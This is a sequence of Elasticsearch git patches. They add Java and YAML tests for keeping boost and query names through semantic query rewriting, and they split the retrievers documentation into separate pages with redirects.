         assertEquals(QUERY, textEmbeddingQueryVectorBuilder.getModelText());
diff --git a/x-pack/plugin/inference/src/test/java/org/elasticsearch/index/query/SemanticMatchQueryRewriteInterceptorTests.java b/x-pack/plugin/inference/src/test/java/org/elasticsearch/index/query/SemanticMatchQueryRewriteInterceptorTests.java
index 6987ef33ed63d..b58547e1a92c7 100644
--- a/x-pack/plugin/inference/src/test/java/org/elasticsearch/index/query/SemanticMatchQueryRewriteInterceptorTests.java
+++ b/x-pack/plugin/inference/src/test/java/org/elasticsearch/index/query/SemanticMatchQueryRewriteInterceptorTests.java
@@ -36,6 +36,8 @@ public class SemanticMatchQueryRewriteInterceptorTests extends ESTestCase {
 
     private static final String FIELD_NAME = "fieldName";
     private static final String VALUE = "value";
+    private static final String QUERY_NAME = "match_query";
+    private static final float BOOST = 5.0f;
 
     @Before
     public void setup() {
@@ -79,6 +81,29 @@ public void testMatchQueryOnNonInferenceFieldRemainsMatchQuery() throws IOExcept
         assertEquals(original, rewritten);
     }
 
+    public void testBoostAndQueryNameInMatchQueryRewrite() throws IOException {
+        Map<String, InferenceFieldMetadata> inferenceFields = Map.of(
+            FIELD_NAME,
+            new InferenceFieldMetadata(index.getName(), "inferenceId", new String[] { FIELD_NAME }, null)
+        );
+        QueryRewriteContext context = createQueryRewriteContext(inferenceFields);
+        QueryBuilder original = createTestQueryBuilder();
+        original.boost(BOOST);
+        original.queryName(QUERY_NAME);
+        QueryBuilder rewritten = original.rewrite(context);
+        assertTrue(
+            "Expected query to be intercepted, but was [" + rewritten.getClass().getName() + "]",
+            rewritten instanceof InterceptedQueryBuilderWrapper
+        );
+        InterceptedQueryBuilderWrapper intercepted = (InterceptedQueryBuilderWrapper) rewritten;
+        assertEquals(BOOST, intercepted.boost(), 0.0f);
+        assertEquals(QUERY_NAME, intercepted.queryName());
+        assertTrue(intercepted.queryBuilder instanceof SemanticQueryBuilder);
+        SemanticQueryBuilder semanticQueryBuilder = (SemanticQueryBuilder) intercepted.queryBuilder;
+        assertEquals(FIELD_NAME, semanticQueryBuilder.getFieldName());
+        assertEquals(VALUE, semanticQueryBuilder.getQuery());
+    }
+
     private MatchQueryBuilder createTestQueryBuilder() {
         return new MatchQueryBuilder(FIELD_NAME, VALUE);
     }
diff --git a/x-pack/plugin/inference/src/test/java/org/elasticsearch/index/query/SemanticSparseVectorQueryRewriteInterceptorTests.java b/x-pack/plugin/inference/src/test/java/org/elasticsearch/index/query/SemanticSparseVectorQueryRewriteInterceptorTests.java
index 075955766a0a9..401b7085e2cb5 100644
--- a/x-pack/plugin/inference/src/test/java/org/elasticsearch/index/query/SemanticSparseVectorQueryRewriteInterceptorTests.java
+++ b/x-pack/plugin/inference/src/test/java/org/elasticsearch/index/query/SemanticSparseVectorQueryRewriteInterceptorTests.java
@@ -58,21 +58,15 @@ public void testSparseVectorQueryOnInferenceFieldIsInterceptedAndRewritten() thr
         );
         QueryRewriteContext context = createQueryRewriteContext(inferenceFields);
         QueryBuilder original = new SparseVectorQueryBuilder(FIELD_NAME, INFERENCE_ID, QUERY);
-        QueryBuilder rewritten = original.rewrite(context);
-        assertTrue(
-            "Expected query to be intercepted, but was [" + rewritten.getClass().getName() + "]",
-            rewritten instanceof InterceptedQueryBuilderWrapper
-        );
-        InterceptedQueryBuilderWrapper intercepted = (InterceptedQueryBuilderWrapper) rewritten;
-        assertTrue(intercepted.queryBuilder instanceof NestedQueryBuilder);
-        NestedQueryBuilder nestedQueryBuilder = (NestedQueryBuilder) intercepted.queryBuilder;
-        assertEquals(SemanticTextField.getChunksFieldName(FIELD_NAME), nestedQueryBuilder.path());
-        QueryBuilder innerQuery = nestedQueryBuilder.query();
-        assertTrue(innerQuery instanceof SparseVectorQueryBuilder);
-        SparseVectorQueryBuilder sparseVectorQueryBuilder = (SparseVectorQueryBuilder) innerQuery;
-        assertEquals(SemanticTextField.getEmbeddingsFieldName(FIELD_NAME), sparseVectorQueryBuilder.getFieldName());
-        assertEquals(INFERENCE_ID, sparseVectorQueryBuilder.getInferenceId());
-        assertEquals(QUERY, sparseVectorQueryBuilder.getQuery());
+        if (randomBoolean()) {
+            float boost = randomFloatBetween(1, 10, randomBoolean());
+            original.boost(boost);
+        }
+        if (randomBoolean()) {
+            String queryName = randomAlphaOfLength(5);
+            original.queryName(queryName);
+        }
+        testRewrittenInferenceQuery(context, original);
     }
 
     public void testSparseVectorQueryOnInferenceFieldWithoutInferenceIdIsInterceptedAndRewritten() throws IOException {
@@ -82,32 +76,52 @@ public void testSparseVectorQueryOnInferenceFieldWithoutInferenceIdIsIntercepted
         );
         QueryRewriteContext context = createQueryRewriteContext(inferenceFields);
         QueryBuilder original = new SparseVectorQueryBuilder(FIELD_NAME, null, QUERY);
+        if (randomBoolean()) {
+            float boost = randomFloatBetween(1, 10, randomBoolean());
+            original.boost(boost);
+        }
+        if (randomBoolean()) {
+            String queryName = randomAlphaOfLength(5);
+            original.queryName(queryName);
+        }
+        testRewrittenInferenceQuery(context, original);
+    }
+
+    public void testSparseVectorQueryOnNonInferenceFieldRemainsUnchanged() throws IOException {
+        QueryRewriteContext context = createQueryRewriteContext(Map.of()); // No inference fields
+        QueryBuilder original = new SparseVectorQueryBuilder(FIELD_NAME, INFERENCE_ID, QUERY);
+        QueryBuilder rewritten = original.rewrite(context);
+        assertTrue(
+            "Expected query to remain sparse_vector but was [" + rewritten.getClass().getName() + "]",
+            rewritten instanceof SparseVectorQueryBuilder
+        );
+        assertEquals(original, rewritten);
+    }
+
+    private void testRewrittenInferenceQuery(QueryRewriteContext context, QueryBuilder original) throws IOException {
         QueryBuilder rewritten = original.rewrite(context);
         assertTrue(
             "Expected query to be intercepted, but was [" + rewritten.getClass().getName() + "]",
             rewritten instanceof InterceptedQueryBuilderWrapper
         );
         InterceptedQueryBuilderWrapper intercepted = (InterceptedQueryBuilderWrapper) rewritten;
+        assertEquals(original.boost(), intercepted.boost(), 0.0f);
+        assertEquals(original.queryName(), intercepted.queryName());
+
         assertTrue(intercepted.queryBuilder instanceof NestedQueryBuilder);
         NestedQueryBuilder nestedQueryBuilder = (NestedQueryBuilder) intercepted.queryBuilder;
         assertEquals(SemanticTextField.getChunksFieldName(FIELD_NAME), nestedQueryBuilder.path());
+        assertEquals(original.boost(), nestedQueryBuilder.boost(), 0.0f);
+        assertEquals(original.queryName(), nestedQueryBuilder.queryName());
+
         QueryBuilder innerQuery = nestedQueryBuilder.query();
         assertTrue(innerQuery instanceof SparseVectorQueryBuilder);
         SparseVectorQueryBuilder sparseVectorQueryBuilder = (SparseVectorQueryBuilder) innerQuery;
         assertEquals(SemanticTextField.getEmbeddingsFieldName(FIELD_NAME), sparseVectorQueryBuilder.getFieldName());
         assertEquals(INFERENCE_ID, sparseVectorQueryBuilder.getInferenceId());
         assertEquals(QUERY, sparseVectorQueryBuilder.getQuery());
-    }
-
-    public void testSparseVectorQueryOnNonInferenceFieldRemainsUnchanged() throws IOException {
-        QueryRewriteContext context = createQueryRewriteContext(Map.of()); // No inference fields
-        QueryBuilder original = new SparseVectorQueryBuilder(FIELD_NAME, INFERENCE_ID, QUERY);
-        QueryBuilder rewritten = original.rewrite(context);
-        assertTrue(
-            "Expected query to remain sparse_vector but was [" + rewritten.getClass().getName() + "]",
-            rewritten instanceof SparseVectorQueryBuilder
-        );
-        assertEquals(original, rewritten);
+        assertEquals(1.0f, sparseVectorQueryBuilder.boost(), 0.0f);
+        assertNull(sparseVectorQueryBuilder.queryName());
     }
 
     private QueryRewriteContext createQueryRewriteContext(Map<String, InferenceFieldMetadata> inferenceFields) {
diff --git a/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/45_semantic_text_match.yml b/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/45_semantic_text_match.yml
index 28093ba49e6cc..3898eb7de7c29 100644
--- a/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/45_semantic_text_match.yml
+++ b/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/45_semantic_text_match.yml
@@ -277,3 +277,126 @@ setup:
                 query: "inference test"
 
   - match: { hits.total.value: 0 }
+
+---
+"Apply boost and query name on single index":
+  - requires:
+      cluster_features: "semantic_query_rewrite_interceptors.propagate_boost_and_query_name_fix"
+      reason: fix boosting and query name for semantic text match queries.
+
+  - skip:
+      features: [ "headers", "close_to" ]
+
+  - do:
+      index:
+        index: test-sparse-index
+        id: doc_1
+        body:
+          inference_field: [ "It was a beautiful game", "Very competitive" ]
+          non_inference_field: "non inference test"
+        refresh: true
+
+  - do:
+      headers:
+        # Force JSON content type so that we use a parser that interprets the floating-point score as a double
+        Content-Type: application/json
+      search:
+        index: test-sparse-index
+        body:
+          query:
+            match:
+              inference_field:
+                query: "soccer"
+
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - close_to: { hits.hits.0._score: { value: 5.700229E18, error: 1e15 } }
+  - not_exists: hits.hits.0.matched_queries
+
+  - do:
+      headers:
+        # Force JSON content type so that we use a parser that interprets the floating-point score as a double
+        Content-Type: application/json
+      search:
+        index: test-sparse-index
+        body:
+          query:
+            match:
+              inference_field:
+                query: "soccer"
+                boost: 5.0
+                _name: i-like-naming-my-queries
+
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - close_to: { hits.hits.0._score: { value: 2.8501142E19, error: 1e16 } }
+  - match: { hits.hits.0.matched_queries: [ "i-like-naming-my-queries" ] }
+
+---
+"Apply boost and query name on multiple indices":
+  - requires:
+      cluster_features: "semantic_query_rewrite_interceptors.propagate_boost_and_query_name_fix"
+      reason: fix boosting and query name for semantic text match queries.
+
+  - skip:
+      features: [ "headers", "close_to" ]
+
+  - do:
+      index:
+        index: test-sparse-index
+        id: doc_1
+        body:
+          inference_field: [ "It was a beautiful game", "Very competitive" ]
+          non_inference_field: "non inference test"
+        refresh: true
+
+  - do:
+      index:
+        index: test-text-only-index
+        id: doc_2
+        body:
+          inference_field: [ "It was a beautiful game", "Very competitive" ]
+          non_inference_field: "non inference test"
+        refresh: true
+
+  - do:
+      headers:
+        # Force JSON content type so that we use a parser that interprets the floating-point score as a double
+        Content-Type: application/json
+      search:
+        index: test-sparse-index,test-text-only-index
+        body:
+          query:
+            match:
+              inference_field:
+                query: "beautiful"
+
+  - match: { hits.total.value: 2 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - match: { hits.hits.1._id: "doc_2" }
+  - close_to: { hits.hits.0._score: { value: 1.1140361E19, error: 1e16 } }
+  - not_exists: hits.hits.0.matched_queries
+  - close_to: { hits.hits.1._score: { value: 0.2876821, error: 1e-4 } }
+  - not_exists: hits.hits.1.matched_queries
+
+  - do:
+      headers:
+        # Force JSON content type so that we use a parser that interprets the floating-point score as a double
+        Content-Type: application/json
+      search:
+        index: test-sparse-index,test-text-only-index
+        body:
+          query:
+            match:
+              inference_field:
+                query: "beautiful"
+                boost: 5.0
+                _name: i-like-naming-my-queries
+
+  - match: { hits.total.value: 2 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - match: { hits.hits.1._id: "doc_2" }
+  - close_to: { hits.hits.0._score: { value: 5.5701804E19, error: 1e16 } }
+  - match: { hits.hits.0.matched_queries: [ "i-like-naming-my-queries" ] }
+  - close_to: { hits.hits.1._score: { value: 1.4384103, error: 1e-4 } }
+  - match: { hits.hits.1.matched_queries: [ "i-like-naming-my-queries" ] }
diff --git a/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/46_semantic_text_sparse_vector.yml b/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/46_semantic_text_sparse_vector.yml
index f1cff512fd209..cc67b9235f0b4 100644
--- a/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/46_semantic_text_sparse_vector.yml
+++ b/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/46_semantic_text_sparse_vector.yml
@@ -247,3 +247,100 @@ setup:
 
   - match: { hits.total.value: 2 }
 
+---
+"Apply boost and query name on single index":
+  - requires:
+      cluster_features: "semantic_query_rewrite_interceptors.propagate_boost_and_query_name_fix"
+      reason: fix boosting and query name for semantic text sparse vector queries.
+
+  - skip:
+      features: [ "headers", "close_to" ]
+
+  - do:
+      headers:
+        # Force JSON content type so that we use a parser that interprets the floating-point score as a double
+        Content-Type: application/json
+      search:
+        index: test-semantic-text-index
+        body:
+          query:
+            sparse_vector:
+              field: inference_field
+              query: "inference test"
+
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - close_to: { hits.hits.0._score: { value: 3.7837332E17, error: 1e14 } }
+  - not_exists: hits.hits.0.matched_queries
+
+  - do:
+      headers:
+        # Force JSON content type so that we use a parser that interprets the floating-point score as a double
+        Content-Type: application/json
+      search:
+        index: test-semantic-text-index
+        body:
+          query:
+            sparse_vector:
+              field: inference_field
+              query: "inference test"
+              boost: 5.0
+              _name: i-like-naming-my-queries
+
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - close_to: { hits.hits.0._score: { value: 1.8918664E18, error: 1e15 } }
+  - match: { hits.hits.0.matched_queries: [ "i-like-naming-my-queries" ] }
+
+---
+"Apply boost and query name on multiple indices":
+  - requires:
+      cluster_features: "semantic_query_rewrite_interceptors.propagate_boost_and_query_name_fix"
+      reason: fix boosting and query name for semantic text sparse vector queries.
+
+  - skip:
+      features: [ "headers", "close_to" ]
+
+  - do:
+      headers:
+        # Force JSON content type so that we use a parser that interprets the floating-point score as a double
+        Content-Type: application/json
+      search:
+        index: test-semantic-text-index,test-sparse-vector-index
+        body:
+          query:
+            sparse_vector:
+              field: inference_field
+              query: "inference test"
+              inference_id: sparse-inference-id
+
+  - match: { hits.total.value: 2 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - match: { hits.hits.1._id: "doc_2" }
+  - close_to: { hits.hits.0._score: { value: 3.7837332E17, error: 1e14 } }
+  - not_exists: hits.hits.0.matched_queries
+  - close_to: { hits.hits.1._score: { value: 7.314424E8, error: 1e5 } }
+  - not_exists: hits.hits.1.matched_queries
+
+  - do:
+      headers:
+        # Force JSON content type so that we use a parser that interprets the floating-point score as a double
+        Content-Type: application/json
+      search:
+        index: test-semantic-text-index,test-sparse-vector-index
+        body:
+          query:
+            sparse_vector:
+              field: inference_field
+              query: "inference test"
+              inference_id: sparse-inference-id
+              boost: 5.0
+              _name: i-like-naming-my-queries
+
+  - match: { hits.total.value: 2 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - match: { hits.hits.1._id: "doc_2" }
+  - close_to: { hits.hits.0._score: { value: 1.8918664E18, error: 1e15 } }
+  - match: { hits.hits.0.matched_queries: [ "i-like-naming-my-queries" ] }
+  - close_to: { hits.hits.1._score: { value: 3.657212E9, error: 1e6 } }
+  - match: { hits.hits.1.matched_queries: [ "i-like-naming-my-queries" ] }
diff --git a/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/47_semantic_text_knn.yml b/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/47_semantic_text_knn.yml
index 64ecb0f2d882c..d49e3a63848e3 100644
--- a/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/47_semantic_text_knn.yml
+++ b/x-pack/plugin/inference/src/yamlRestTest/resources/rest-api-spec/test/inference/47_semantic_text_knn.yml
@@ -404,4 +404,116 @@ setup:
 
   - match: { hits.total.value: 4 }
 
+---
+"Apply boost and query name on single index":
+  - requires:
+      cluster_features: "semantic_query_rewrite_interceptors.propagate_boost_and_query_name_fix"
+      reason: fix boosting and query name for semantic text knn queries.
+
+  - skip:
+      features: [ "headers", "close_to" ]
+
+  - do:
+      headers:
+        # Force JSON content type so that we use a parser that interprets the floating-point score as a double
+        Content-Type: application/json
+      search:
+        index: test-semantic-text-index
+        body:
+          query:
+            knn:
+              field: inference_field
+              k: 2
+              num_candidates: 100
+              query_vector_builder:
+                text_embedding:
+                  model_text: test
+
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - close_to: { hits.hits.0._score: { value: 0.9990483, error: 1e-4 } }
+  - not_exists: hits.hits.0.matched_queries
+
+  - do:
+      headers:
+        # Force JSON content type so that we use a parser that interprets the floating-point score as a double
+        Content-Type: application/json
+      search:
+        index: test-semantic-text-index
+        body:
+          query:
+            knn:
+              field: inference_field
+              k: 2
+              num_candidates: 100
+              query_vector_builder:
+                text_embedding:
+                  model_text: test
+              boost: 5.0
+              _name: i-like-naming-my-queries
+
+  - match: { hits.total.value: 1 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - close_to: { hits.hits.0._score: { value: 4.9952416, error: 1e-3 } }
+  - match: { hits.hits.0.matched_queries: [ "i-like-naming-my-queries" ] }
 
+---
+"Apply boost and query name on multiple indices":
+  - requires:
+      cluster_features: "semantic_query_rewrite_interceptors.propagate_boost_and_query_name_fix"
+      reason: fix boosting and query name for semantic text knn queries.
+
+  - skip:
+      features: [ "headers", "close_to" ]
+
+  - do:
+      headers:
+        # Force JSON content type so that we use a parser that interprets the floating-point score as a double
+        Content-Type: application/json
+      search:
+        index: test-semantic-text-index,test-dense-vector-index
+        body:
+          query:
+            knn:
+              field: inference_field
+              k: 2
+              num_candidates: 100
+              query_vector_builder:
+                text_embedding:
+                  model_text: test
+                  model_id: dense-inference-id
+
+  - match: { hits.total.value: 2 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - match: { hits.hits.1._id: "doc_3" }
+  - close_to: { hits.hits.0._score: { value: 0.9990483, error: 1e-4 } }
+  - not_exists: hits.hits.0.matched_queries
+  - close_to: { hits.hits.1._score: { value: 0.9439374, error: 1e-4 } }
+  - not_exists: hits.hits.1.matched_queries
+
+  - do:
+      headers:
+        # Force JSON content type so that we use a parser that interprets the floating-point score as a double
+        Content-Type: application/json
+      search:
+        index: test-semantic-text-index,test-dense-vector-index
+        body:
+          query:
+            knn:
+              field: inference_field
+              k: 2
+              num_candidates: 100
+              query_vector_builder:
+                text_embedding:
+                  model_text: test
+                  model_id: dense-inference-id
+              boost: 5.0
+              _name: i-like-naming-my-queries
+
+  - match: { hits.total.value: 2 }
+  - match: { hits.hits.0._id: "doc_1" }
+  - match: { hits.hits.1._id: "doc_3" }
+  - close_to: { hits.hits.0._score: { value: 4.9952416, error: 1e-3 } }
+  - match: { hits.hits.0.matched_queries: [ "i-like-naming-my-queries" ] }
+  - close_to: { hits.hits.1._score: { value: 4.719687, error: 1e-3 } }
+  - match: { hits.hits.1.matched_queries: [ "i-like-naming-my-queries" ] }

From 06d4baa4e50cb312b21aa29ff97352cf7355f0be Mon Sep 17 00:00:00 2001
From: Liam Thompson <leemthompo@gmail.com>
Date: Thu, 17 Jul 2025 21:34:27 +0200
Subject: [PATCH 183/299] Split retrievers docs and redirect anchors  (#131385)
 (#131475)

---
 docs/redirects.yml                            |   26 +-
 .../rest-apis/reciprocal-rank-fusion.md       |    2 +-
 .../elasticsearch/rest-apis/retrievers.md     | 1042 +----------------
 .../rest-apis/retrievers/knn-retriever.md     |  109 ++
 .../rest-apis/retrievers/linear-retriever.md  |   93 ++
 .../rest-apis/retrievers/pinned-retriever.md  |   55 +
 .../retrievers/rescorer-retriever.md          |  123 ++
 .../rest-apis/retrievers/rrf-retriever.md     |  149 +++
 .../rest-apis/retrievers/rule-retriever.md    |  121 ++
 .../retrievers/standard-retriever.md          |   98 ++
 .../text-similarity-reranker-retriever.md     |  248 ++++
 .../rest-apis/searching-with-query-rules.md   |    8 +-
 docs/reference/elasticsearch/toc.yml          |    9 +
 .../query-dsl/query-dsl-rule-query.md         |    2 +-
 .../query-dsl-sparse-vector-query.md          |    2 +-
 .../query-dsl-text-expansion-query.md         |    2 +-
 16 files changed, 1065 insertions(+), 1024 deletions(-)
 create mode 100644 docs/reference/elasticsearch/rest-apis/retrievers/knn-retriever.md
 create mode 100644 docs/reference/elasticsearch/rest-apis/retrievers/linear-retriever.md
 create mode 100644 docs/reference/elasticsearch/rest-apis/retrievers/pinned-retriever.md
 create mode 100644 docs/reference/elasticsearch/rest-apis/retrievers/rescorer-retriever.md
 create mode 100644 docs/reference/elasticsearch/rest-apis/retrievers/rrf-retriever.md
 create mode 100644 docs/reference/elasticsearch/rest-apis/retrievers/rule-retriever.md
 create mode 100644 docs/reference/elasticsearch/rest-apis/retrievers/standard-retriever.md
 create mode 100644 docs/reference/elasticsearch/rest-apis/retrievers/text-similarity-reranker-retriever.md

diff --git a/docs/redirects.yml b/docs/redirects.yml
index 7fb1997268c92..27a4ae08ad6ca 100644
--- a/docs/redirects.yml
+++ b/docs/redirects.yml
@@ -1,3 +1,25 @@
 redirects:
-# Related to https://github.com/elastic/elasticsearch/pull/130716/
-  'reference/query-languages/eql/eql-ex-threat-detection.md': 'docs-content://explore-analyze/query-filter/languages/example-detect-threats-with-eql.md'
\ No newline at end of file
+  # Related to https://github.com/elastic/elasticsearch/pull/130716/
+  'reference/query-languages/eql/eql-ex-threat-detection.md': 'docs-content://explore-analyze/query-filter/languages/example-detect-threats-with-eql.md'
+  
+  # https://github.com/elastic/elasticsearch/pull/131385
+  'reference/elasticsearch/rest-apis/retrievers.md':
+    to: 'reference/elasticsearch/rest-apis/retrievers.md'
+    anchors: {} # pass-through unlisted anchors in the `many` ruleset
+    many:
+      - to: 'reference/elasticsearch/rest-apis/retrievers/standard-retriever.md'
+        anchors: {'standard-retriever'}
+      - to: 'reference/elasticsearch/rest-apis/retrievers/knn-retriever.md'
+        anchors: {'knn-retriever'}
+      - to: 'reference/elasticsearch/rest-apis/retrievers/linear-retriever.md'
+        anchors: {'linear-retriever'}
+      - to: 'reference/elasticsearch/rest-apis/retrievers/rrf-retriever.md'
+        anchors: {'rrf-retriever'}
+      - to: 'reference/elasticsearch/rest-apis/retrievers/rescorer-retriever.md'
+        anchors: {'rescorer-retriever'}
+      - to: 'reference/elasticsearch/rest-apis/retrievers/text-similarity-reranker-retriever.md'
+        anchors: {'text-similarity-reranker-retriever'}
+      - to: 'reference/elasticsearch/rest-apis/retrievers/rule-retriever.md'
+        anchors: {'rule-retriever'}
+      - to: 'reference/elasticsearch/rest-apis/retrievers/pinned-retriever.md'
+        anchors: {'pinned-retriever'}
\ No newline at end of file
diff --git a/docs/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md b/docs/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md
index dc7f02a119397..35be4531e3ac9 100644
--- a/docs/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md
+++ b/docs/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md
@@ -34,7 +34,7 @@ For the most up-to-date API details, refer to [Search APIs](https://www.elastic.
 ::::
 
 
-You can use RRF as part of a [search](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search) to combine and rank documents using separate sets of top documents (result sets) from a combination of [child retrievers](/reference/elasticsearch/rest-apis/retrievers.md) using an [RRF retriever](/reference/elasticsearch/rest-apis/retrievers.md#rrf-retriever). A minimum of **two** child retrievers is required for ranking.
+You can use RRF as part of a [search](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search) to combine and rank documents using separate sets of top documents (result sets) from a combination of [child retrievers](/reference/elasticsearch/rest-apis/retrievers.md) using an [RRF retriever](/reference/elasticsearch/rest-apis/retrievers/rrf-retriever.md). A minimum of **two** child retrievers is required for ranking.
 
 An RRF retriever is an optional object defined as part of a search request’s [retriever parameter](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#request-body-retriever). The RRF retriever object contains the following parameters:
 
diff --git a/docs/reference/elasticsearch/rest-apis/retrievers.md b/docs/reference/elasticsearch/rest-apis/retrievers.md
index 01472c45ff2f8..fa3810a435a01 100644
--- a/docs/reference/elasticsearch/rest-apis/retrievers.md
+++ b/docs/reference/elasticsearch/rest-apis/retrievers.md
@@ -3,6 +3,7 @@ mapped_pages:
   - https://www.elastic.co/guide/en/elasticsearch/reference/current/retriever.html
 applies_to:
   stack: all
+  serverless: ga
 ---
 
 # Retrievers [retriever]
@@ -14,1026 +15,63 @@ Refer to [*Retrievers*](docs-content://solutions/search/retrievers-overview.md)
 
 ::::
 
-
-::::{admonition} New API reference
-For the most up-to-date API details, refer to [Search APIs](https://www.elastic.co/docs/api/doc/elasticsearch/group/endpoint-search).
-
-::::
-
-
 The following retrievers are available:
 
-`standard`
-:   A [retriever](#standard-retriever) that replaces the functionality of a traditional [query](/reference/query-languages/querydsl.md).
-
 `knn`
-:   A [retriever](#knn-retriever) that replaces the functionality of a [knn search](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-api-knn).
+:   The [knn](retrievers/knn-retriever.md) retriever replaces the functionality of a [knn search](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-api-knn).
 
 `linear`
-:   A [retriever](#linear-retriever) that linearly combines the scores of other retrievers for the top documents.
+:   The [linear](retrievers/linear-retriever.md) retriever linearly combines the scores of other retrievers for the top documents.
+
+`pinned` {applies_to}`stack: GA 9.1`
+:   The [pinned](retrievers/pinned-retriever.md) retriever always places specified documents at the top of the results, with the remaining hits provided by a secondary retriever.
 
 `rescorer`
-:   A [retriever](#rescorer-retriever) that replaces the functionality of the [query rescorer](/reference/elasticsearch/rest-apis/filter-search-results.md#rescore).
+:   The [rescorer](retrievers/rescorer-retriever.md) retriever replaces the functionality of the [query rescorer](/reference/elasticsearch/rest-apis/filter-search-results.md#rescore).
 
 `rrf`
-:   A [retriever](#rrf-retriever) that produces top documents from [reciprocal rank fusion (RRF)](/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md).
-
-`text_similarity_reranker`
-:   A [retriever](#text-similarity-reranker-retriever) that enhances search results by re-ranking documents based on semantic similarity to a specified inference text, using a machine learning model.
-
-`pinned` {applies_to}`stack: GA 9.1`
-:   A [retriever](#pinned-retriever) that always places specified documents at the top of the results, with the remaining hits provided by a secondary retriever.
+:   The [rrf](retrievers/rrf-retriever.md) retriever produces top documents from [reciprocal rank fusion (RRF)](/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md).
 
 `rule`
-:   A [retriever](#rule-retriever) that applies contextual [Searching with query rules](/reference/elasticsearch/rest-apis/searching-with-query-rules.md#query-rules) to pin or exclude documents for specific queries.
-
-## Standard Retriever [standard-retriever]
-
-A standard retriever returns top documents from a traditional [query](/reference/query-languages/querydsl.md).
-
-
-#### Parameters: [standard-retriever-parameters]
-
-`query`
-:   (Optional, [query object](/reference/query-languages/querydsl.md))
-
-    Defines a query to retrieve a set of top documents.
-
-
-`filter`
-:   (Optional, [query object or list of query objects](/reference/query-languages/querydsl.md))
-
-    Applies a [boolean query filter](/reference/query-languages/query-dsl/query-dsl-bool-query.md) to this retriever, where all documents must match this query but do not contribute to the score.
-
-
-`search_after`
-:   (Optional, [search after object](/reference/elasticsearch/rest-apis/paginate-search-results.md#search-after))
-
-    Defines a search after object parameter used for pagination.
-
-
-`terminate_after`
-:   (Optional, integer) Maximum number of documents to collect for each shard. If a query reaches this limit, {{es}} terminates the query early. {{es}} collects documents before sorting.
-
-    ::::{important}
-    Use with caution. {{es}} applies this parameter to each shard handling the request. When possible, let {{es}} perform early termination automatically. Avoid specifying this parameter for requests that target data streams with backing indices across multiple data tiers.
-    ::::
-
-
-`sort`
-:   (Optional, [sort object](/reference/elasticsearch/rest-apis/sort-search-results.md)) A sort object that specifies the order of matching documents.
-
-
-`min_score`
-:   (Optional, `float`)
-
-    Minimum [`_score`](/reference/query-languages/query-dsl/query-filter-context.md#relevance-scores) for matching documents. Documents with a lower `_score` are not included in the top documents.
-
-
-`collapse`
-:   (Optional, [collapse object](/reference/elasticsearch/rest-apis/collapse-search-results.md))
-
-    Collapses the top documents by a specified key into a single top document per key.
-
-
-### Restrictions [_restrictions]
-
-When a retriever tree contains a compound retriever (a retriever with two or more child retrievers) the [search after](/reference/elasticsearch/rest-apis/paginate-search-results.md#search-after) parameter is not supported.
-
-
-### Example [standard-retriever-example]
-
-```console
-GET /restaurants/_search
-{
-  "retriever": { <1>
-    "standard": { <2>
-      "query": { <3>
-        "bool": { <4>
-          "should": [ <5>
-            {
-              "match": { <6>
-                "region": "Austria"
-              }
-            }
-          ],
-          "filter": [ <7>
-            {
-              "term": { <8>
-                "year": "2019" <9>
-              }
-            }
-          ]
-        }
-      }
-    }
-  }
-}
-```
-
-1. Opens the `retriever` object.
-2. The `standard` retriever is used for defining traditional {{es}} queries.
-3. The entry point for defining the search query.
-4. The `bool` object allows for combining multiple query clauses logically.
-5. The `should` array indicates conditions under which a document will match. Documents matching these conditions will have increased relevancy scores.
-6. The `match` object finds documents where the `region` field contains the word "Austria."
-7. The `filter` array provides filtering conditions that must be met but do not contribute to the relevancy score.
-8. The `term` object is used for exact matches, in this case, filtering documents by the `year` field.
-9. The exact value to match in the `year` field.
-
-
-
-
-## kNN Retriever [knn-retriever]
-
-A kNN retriever returns top documents from a [k-nearest neighbor search (kNN)](docs-content://solutions/search/vector/knn.md).
-
-
-#### Parameters [knn-retriever-parameters]
-
-`field`
-:   (Required, string)
-
-    The name of the vector field to search against. Must be a [`dense_vector` field with indexing enabled](/reference/elasticsearch/mapping-reference/dense-vector.md#index-vectors-knn-search).
-
-
-`query_vector`
-:   (Required if `query_vector_builder` is not defined, array of `float`)
-
-    Query vector. Must have the same number of dimensions as the vector field you are searching against. Must be either an array of floats or a hex-encoded byte vector.
-
-
-`query_vector_builder`
-:   (Required if `query_vector` is not defined, query vector builder object)
-
-    Defines a [model](docs-content://solutions/search/vector/knn.md#knn-semantic-search) to build a query vector.
-
-
-`k`
-:   (Required, integer)
-
